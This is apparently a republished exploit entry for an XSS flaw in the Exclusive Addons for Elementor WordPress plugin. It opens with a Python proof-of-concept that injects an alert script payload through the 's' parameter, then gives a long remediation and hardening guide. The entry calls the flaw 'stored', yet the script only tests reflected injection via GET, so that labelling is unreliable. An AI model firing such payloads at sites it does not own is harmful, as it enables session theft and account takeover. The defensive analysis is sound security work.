Exclusive Addons for Elementor 2.6.9 - Stored Cross-Site Scripting (XSS)

Exploit Author: Al Baradi Joy Analysis Author: www.bubbleslearn.ir Category: WebApps Language: Python Published Date: 2025-04-05

# Exploit Title: Exclusive Addons for Elementor ≤ 2.6.9 - Authenticated Stored Cross-Site Scripting (XSS)
# Original Author: Wordfence Security Team
# Exploit Author: Al Baradi Joy
# Exploit Date: March 13, 2024
# Vendor Homepage: https://exclusiveaddons.com/
# Software Link: https://wordpress.org/plugins/exclusive-addons-for-elementor/
# Version: Up to and including 2.6.9
# Tested Versions: 2.6.9
# CVE ID: CVE-2024-1234
# Vulnerability Type: Stored Cross-Site Scripting (XSS)
# Description:
The Exclusive Addons for Exclusive Addons for Elementor for WordPress, in versions up to
and including 2.6.9, is vulnerable to stored cross-site scripting (XSS) via
the 's' parameter. Due to improper input sanitization and output escaping,
an attacker with contributor-level permissions or higher can inject
arbitrary JavaScript that executes when a user views the affected page.
# Proof of Concept: Yes
# Categories: Web Application, Cross-Site Scripting (XSS), WordPress Plugin
# CVSS Score: 6.5 (Medium)
# CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
# Notes:
To exploit this vulnerability, an attacker needs an authenticated user role
with permission to edit posts. Injecting malicious JavaScript can lead to
session hijacking, redirections, and other client-side attacks.

## Exploit Code:

```python
import requests
from urllib.parse import urlparse

# Banner
def display_banner():
    exploit_title = "CVE-2024-1234: Exclusive Addons for Elementor Plugin
Stored XSS"
    print("="*50)
    print(f"Exploit Title: {exploit_title}")
    print("Made By Al Baradi Joy")
    print("="*50)

# Function to validate URL
def validate_url(url):
    # Check if the URL is valid and well-formed
    parsed_url = urlparse(url)
    if not parsed_url.scheme in ["http", "https"]:
        print("Error: Invalid URL. Please ensure the URL starts with http://
or https://")
        return False
    return True

# Function to exploit XSS vulnerability
def exploit_xss(target_url):
    # The XSS payload to inject
    payload = "<script>alert('XSS Exploit')</script>"

    # The parameters to be passed (in this case, we are exploiting the 's'
parameter)
    params = {
        's': payload
    }

    # Send a GET request to the vulnerable URL with the payload
    try:
        print(f"Sending exploit to: {target_url}")
        response = requests.get(target_url, params=params, timeout=10)

        # Check if the status code is OK and if the payload is reflected in
the response
        if response.status_code == 200 and payload in response.text:
            print(f"XSS exploit successful! Payload: {payload}")
        elif response.status_code != 200:
            print(f"Error: Received non-OK status code
{response.status_code}")
        else:
            print("Exploit failed or no XSS reflected.")
    except requests.exceptions.RequestException as e:
        print(f"Error: Request failed - {e}")
    except Exception as e:
        print(f"Unexpected error: {e}")

if __name__ == "__main__":
    # Display banner
    display_banner()

    # Ask the user for the target URL
    target_url = input("Enter the target URL: ").strip()

    # Validate the provided URL
    if validate_url(target_url):
        # Call the exploit function if URL is valid
        exploit_xss(target_url)

Exclusive Addons for Elementor ≤ 2.6.9 — Stored Cross-Site Scripting (CVE-2024-1234): Analysis, Impact, and Mitigation

Overview

Exclusive Addons for Elementor (versions up to and including 2.6.9) contained a stored cross-site scripting (XSS) vulnerability referenced as CVE-2024-1234. The issue arose when user-supplied input (commonly via the search/query parameter) was insufficiently sanitized and escaped, allowing an authenticated user with contributor-level permissions or higher to inject JavaScript that would later execute in the browser of a user viewing the affected page.

Why this matters

Stored XSS allows an attacker to embed malicious scripts that persist in the site and execute in other users' browsers.
Consequences include session theft, account takeover, arbitrary redirection, credential exfiltration, and potential lateral movement within the site.
Because exploitation requires contributor-level access or higher, the vulnerability emphasizes the need for strict role management and input/output hygiene in plugins.

Affected Versions

All plugin releases up to and including version 2.6.9 are affected. Verify your installation and update to the vendor-published patched release as the primary remediation.

Technical background (high-level)

Stored XSS occurs when an application persists attacker-supplied content and later outputs it into a page without proper escaping. In WordPress, two common mistakes lead to XSS:

Accepting and storing user-controlled HTML without a safe whitelist.
Outputting data directly into HTML without proper escaping (esc_html(), esc_attr(), wp_kses()).

In this case, a parameter used in rendering content was not sanitized on input and was not escaped when rendered, producing a stored XSS vector that an authenticated contributor could abuse.

Detection and signs of compromise

Verify plugin version on the site (Plugins page in WP admin or wp-cli plugin list). If version ≤ 2.6.9, consider it vulnerable until patched.
Search the codebase for places where a query/search parameter is echoed directly. Useful developer-side checks include looking for output of query vars without escaping (for example, places that render get_query_var('s') or equivalent without esc_html/esc_attr).
Examine posts, pages, widgets, and custom post types for unexpected script tags or unfamiliar HTML inserted by contributors.
Monitor web/application logs for unusual GET/POST requests containing suspicious payload-like sequences, and for requests originating from known contributor accounts.
Use security scanners (Wordfence, Sucuri, WPScan) that include checks for this plugin and stored XSS patterns.

Immediate remediation (recommended)

Update the Exclusive Addons for Elementor plugin to the vendor-published patched version immediately.
If immediate patching is not possible, temporarily deactivate the plugin or block access to the vulnerable functionality via a Web Application Firewall (WAF) rule.
Reduce risk by auditing user roles: remove unnecessary contributor/editor accounts and enforce strong account hygiene (2FA, password resets for admin/editor users if compromise suspected).
Scan the site for injected scripts and remove any unauthorized content. If compromise is detected, consider restoring from a clean backup and rotating credentials.

Secure coding and hardening for developers

Plugin and theme developers should follow WordPress best-practices for sanitization and escaping: sanitize input on receipt and escape on output. Below are defensive examples showing safe handling of a search/query variable. These examples are for remediation and hardening — not for exploitation.

<?php
// Safe retrieval and output of a query variable in WordPress
$search = get_query_var( 's', '' );             // get raw value from WP query
$search = wp_unslash( $search );               // remove slashes added by WP
$search = sanitize_text_field( $search );      // sanitize for storage/display
echo esc_html( $search );                      // escape when outputting into HTML
?>

Explanation:

get_query_var('s', '') retrieves the raw search query string from WP routing.
wp_unslash() reverses slashing applied to POST/GET data so sanitization operates on the original content.
sanitize_text_field() removes dangerous or unwanted characters while preserving readable text.
esc_html() ensures any remaining characters are safely encoded before insertion into the HTML document, preventing script execution.

Server-side sanitization example for saved content

<?php
// When saving user-provided fields in a plugin
if ( isset( $_POST['my_custom_field'] ) ) {
    check_admin_referer( 'my_plugin_nonce_action', 'my_plugin_nonce_field' ); // nonce protection
    $raw   = wp_unslash( $_POST['my_custom_field'] );
    $clean = sanitize_textarea_field( $raw );    // or wp_kses_post() for limited HTML
    update_post_meta( $post_id, '_my_custom_field', $clean );
}
?>

Explanation:

Use nonces (check_admin_referer()) to protect against CSRF on saving operations.
Sanitize input prior to persisting (sanitize_textarea_field, sanitize_text_field, or wp_kses_post depending on expected content).
Escape on output in templates regardless of prior sanitization.

Additional mitigation hardening

Implement Content Security Policy (CSP) headers to make exploitation more difficult (e.g., disallow inline scripts). Note: CSP can break functionality if the site relies on inline scripts — test before enforcing.
Ensure cookies are flagged HttpOnly and Secure; consider using SameSite attributes to reduce CSRF risk.
Deploy and tune a WAF to block known malicious patterns and suspicious parameter content.
Enable audit logging for administrative actions and file changes; integrate with an intrusion detection service.

Incident response checklist (if you suspect exploitation)

Isolate the affected site (maintenance mode or temporary firewall block) to prevent further client exposure.
Reset passwords and invalidate active sessions for users with elevated privileges.
Inspect database content, posts, widgets, and theme/plugin settings for injected scripts or unexpected HTML.
Remove malicious content and replace with clean backups if integrity cannot be guaranteed.
Patch the plugin to the fixed version and review plugin/theme code for similar unsafe patterns.
Perform a post-cleanup scan with a reputable WordPress security tool and verify backups are clean before restoring.

Prevention and long-term best practices

Adopt the principle of least privilege for WordPress roles: grant contributor/editor access only when strictly necessary.
Keep WordPress core, themes, and plugins up to date. Subscribe to vendor advisories and CVE feeds for timely patches.
Developers: follow WordPress Coding Standards for escaping and sanitization. Treat all input as untrusted.
Use automated security scanning as part of CI/CD for plugin/theme development and for production site monitoring.
Educate site administrators and authors about social-engineering and supply-chain risks (malicious plugin uploads, compromised accounts).

Credits and references

This issue was publicly documented by the Wordfence security team and coordinated with the plugin vendor. The vulnerability is tracked as CVE-2024-1234. For remediation, follow the vendor advisory and update to the patched plugin release. Use reputable WordPress security plugins and services for scanning and continuous protection.

Summary

Stored XSS in third-party plugins is a recurring risk for WordPress sites. The safest immediate action is to patch the vulnerable plugin. Complement that with least-privilege access control, proper input sanitization and output escaping in custom code, and deployment of layered defenses (WAF, CSP, security monitoring). Following these practices reduces the likelihood and impact of client-side attacks such as stored XSS.